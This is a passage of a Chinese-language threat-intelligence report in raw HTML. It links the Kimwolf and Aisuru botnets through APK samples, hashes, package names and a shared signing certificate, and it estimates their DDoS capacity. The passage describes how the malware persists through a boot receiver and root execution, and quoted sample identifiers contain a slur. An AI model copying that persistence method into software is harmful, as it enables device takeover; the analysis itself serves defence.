sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">感染设备分布在全球222个国家和地区，排名前15国家分析为巴西14.63%，印度12.71%，美国9.58%，阿根廷7.19%，南非3.85%，菲律宾3.58%，墨西哥3.07%，中国3.04%，泰国2.46%，沙特</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">2.37%，印度尼西亚1.87%，摩洛哥1.85%，土耳其1.60%，伊拉克1.53%，巴基斯坦1.39% 。</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000672" alt="kimwolf_vic.png" class="rich_pages wxw-img" data-ratio="1.0106837606837606" data-type="png" data-w="936" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b07a929&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMeOuQEvwrnmiajef3KJXNicFLjRXn8lTT4yA1sFrqHmpkh9DNVEfmHnKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">熟悉DDoS的读者可能会好奇：“如此庞大的僵尸网络，其攻击能力究竟达到了何种水平？”虽然我们无法直接度量，但通过两次大型DDoS事件的观察以及与Aisuru的横向对比，我们认为Kimwolf的攻击能力已接近30Tbps。</span></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">某知名云服务商在11月23日22：09Z观测到一起2.3Bpps的攻击，参与攻击的IP数量为45万，我方确认Kimwolf参与其中。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">某知名云服务商在12月9日09:35Z观测到的一起接近30Tbps，2.9Gpps攻击，经过数据比之后，双方确定Kimwolf参与其中。</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Cloudflare在其2025第三季度的DDoS威胁报告指出Aisuru是目前已知攻击能力最强的僵尸网络之一，控制规模达百万级 IoT/网络设备，可持续发动 Tbps 级 乃至峰值接近 30 Tbps、10+ Bpps 的超大规模 DDoS 攻击。</span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">实际上，我们认为Cloudflare观测到多起被归因于Aisuru的攻击背后，可能并非只有Aisuru一个僵尸网络在活动，Kimwolf也可能参与其中，甚至是由Kimwolf主导。这两大僵尸网络在9月至11月期间通过相同的感染脚本传播，共存于同一批设备中，它们其实隶属于同一个黑客团伙。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">Kimwolf与Aisuru关联</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们是如何发现Kimwolf与Aisuru的关联呢？一切要从10月25日捕获的APK样本 <span textstyle="" style="font-weight: normal;">b688c22aabcd83138bba4afb9b3ef4fc 说起</span>，它的文件名与包名分别为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">aisuru.apk</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">和</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">com.n2.systemservice0644</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。这个样本实现了一个恶意的Android启动接收器（Boot Receiver），能够在设备启动完成后自动运行。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">其主要恶意行为是：从应用自身的</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">res/raw/</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">资源目录中，提取一个预置的二进制文件（通过资源ID </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">R.raw.libniggakernel</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">引用），并将其写入应用数据目录下，命名为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">niggakernel</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，随后将该文件权限设置为可执行。接着，样本会尝试通过</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">su</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">命令获取root权限来执行此恶意程序，实现持久化驻留与系统控制。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">经分析，这个预置的二进制文件</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">ji.so</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，实质上就是“<span textstyle="" style="font-weight: bold;">kimwolf</span>”恶意软件。之前安全社区向我们提供的样本，正是该文件脱壳后的版本。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000673" alt="kimwolf_1025apk.png" class="rich_pages wxw-img" data-ratio="0.4468172484599589" data-type="png" data-w="2435" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=de7ecc33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMyqps8HPPEv9JwgWglcYQA7aqPfDhBDCgwqJXicRTj2jq6icQy6chrtUg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">以上述APK的种种特征为线索，我们发现APK（MD5:<span textstyle="" style="font-weight: bold;">887747dc1687953902488489b805d965</span>）具有明显的同源特征，比如使用相同的资源ID名<span textstyle="" style="font-weight: bold;">libniggakernel</span>，相同的包名<span textstyle="" style="font-weight: bold;">systemservice0644</span>，Log标识“<span textstyle="" style="font-weight: bold;">LOL</span>”，预置文件名<span textstyle="" style="font-weight: bold;">ji.so</span>等。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000674" alt="kimwolf_1018apk.png" class="rich_pages wxw-img" data-ratio="0.2569070685324722" data-type="png" data-w="2787" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d8e0adaa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMfuszlffLGoajwiaxy7SV367Gqkte2OMkwHSibgiaiavkRnF0lUGb0pkMOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">令我们惊奇的是，这个APK中预置的3个二进制文件<span textstyle="" style="font-weight: bold;">c0.so, ji.so, q8.so</span>并不属于kimwolf家族，而是AISURU僵尸网络。它们与我们9月15日分析报告中提及的样本<span textstyle="" style="font-weight: bold;">053a0abe0600d16a91b822eb538987bca3f3ab55</span>使用相同的</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">tiananmeng</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> C2和<span textstyle="" style="font-weight: bold;">Reporter</span>。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000670" alt="kimwolf_1018aisuru.png" class="rich_pages wxw-img" data-ratio="0.23307745987438938" data-type="png" data-w="1433" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b953837e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMyEHic1U1GqOaZZHQ9dJyA3oMcCDYIy5HYcQ3QKiavfVKA81ahZY1ibeDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">11月29日，更多证据浮出水面，两个先后从美国上传至VirusTotal的APK样本与上面俩个APK高性相似。经分析，它们lib目录中的libdevice.so分别对应“kimwolf”和“aisuru”新变种。</span></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">902cf9a76ade062a6888851b9d1ed30d</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">家族：kimwolf</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">包名：com.n2.systemservice063</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">so文件目录：/lib/armeabi-v7a/libdevice.so</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">8011ed1d1851c6ae31274c2ac8edfc06 ，</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">家族：aisuru</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">包名：com.n2.systemservice062</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">so文件目录：/lib/armeabi-v7a/libdevice.so</span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">更为关键的是，这俩个APK使用了相同的签名证书，证书SHA1指纹为</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">182256bca46a5c02def26550a154561ec5b2b983</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。该证书的内容特征，如</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Common Name:John Dinglebert Dinglenut VIII VanSack Smith</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">具有高度独特性，在互联网上并无公开记录，由此可以判断，它们出自同一开发组织之手。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000671" alt="kimwolf_apkcertificate.png" class="rich_pages wxw-img" data-ratio="0.40865800865800866" data-type="png" data-w="1155" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b9f2bbdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMI9MIibEM9hiaanAM14ibvyAotEpVT7SdNjdwpAZyarHXiaCSHFElcyoGYQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月8日，我们终于有了</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 